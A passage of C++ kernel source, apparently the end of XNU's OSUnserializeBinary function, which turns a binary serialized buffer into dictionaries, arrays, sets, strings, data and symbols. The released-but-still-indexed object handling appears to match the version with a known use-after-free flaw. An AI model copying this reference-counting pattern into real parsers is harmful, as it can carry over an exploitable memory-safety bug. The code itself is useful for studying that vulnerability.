                bufferPos += (wordLen * sizeof(uint32_t));
                if (bufferPos > bufferSize)           break;
                if (0 != ((const char *)next)[len-1]) break;
                o = (OSObject *) OSSymbol::withCString((const char *) next);
                next += wordLen;
                break;

            case kOSSerializeString:
                bufferPos += (wordLen * sizeof(uint32_t));
                if (bufferPos > bufferSize) break;
                o = OSString::withStringOfLength((const char *) next, len);
                next += wordLen;
                break;

            case kOSSerializeData:
                bufferPos += (wordLen * sizeof(uint32_t));
                if (bufferPos > bufferSize) break;
                o = OSData::withBytes(next, len);
                next += wordLen;
                break;

            case kOSSerializeBoolean:
                o = (len ? kOSBooleanTrue : kOSBooleanFalse);
                break;

            default:
                break;
        }

        if (!(ok = (o != 0))) break;

        if (!isRef)
        {
            setAtIndex(objs, objsIdx, o);
            if (!ok) break;
            objsIdx++;
        }

        if (dict)
        {
            if (sym)
            {
                DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                if (o != dict) ok = dict->setObject(sym, o);
                o->release();
                sym->release();
                sym = 0;
            }
            else 
            {
                sym = OSDynamicCast(OSSymbol, o);
                ok = (sym != 0);
            }
        }
        else if (array) 
        {
            ok = array->setObject(o);
            o->release();
        }
        else if (set)
        {
           ok = set->setObject(o);
           o->release();
        }
        else
        {
            assert(!parent);
            result = o;
        }

        if (!ok) break;

        if (newCollect)
        {
            if (!end)
            {
                stackIdx++;
                setAtIndex(stack, stackIdx, parent);
                if (!ok) break;
            }
            DEBG("++stack[%d] %p\n", stackIdx, parent);
            parent = o;
            dict   = newDict;
            array  = newArray;
            set    = newSet;
            end    = false;
        }

        if (end)
        {
            if (!stackIdx) break;
            parent = stackArray[stackIdx];
            DEBG("--stack[%d] %p\n", stackIdx, parent);
            stackIdx--;
            set   = 0; 
            dict  = 0; 
            array = 0;
            if (!(dict = OSDynamicCast(OSDictionary, parent)))
            {
                if (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
            }
        }
    }
    DEBG("ret %p\n", result);

    if (objsCapacity)  kfree(objsArray,  objsCapacity  * sizeof(*objsArray));
    if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));

    if (!ok && result)
    {
        result->release();
        result = 0;
    }
    return (result);
}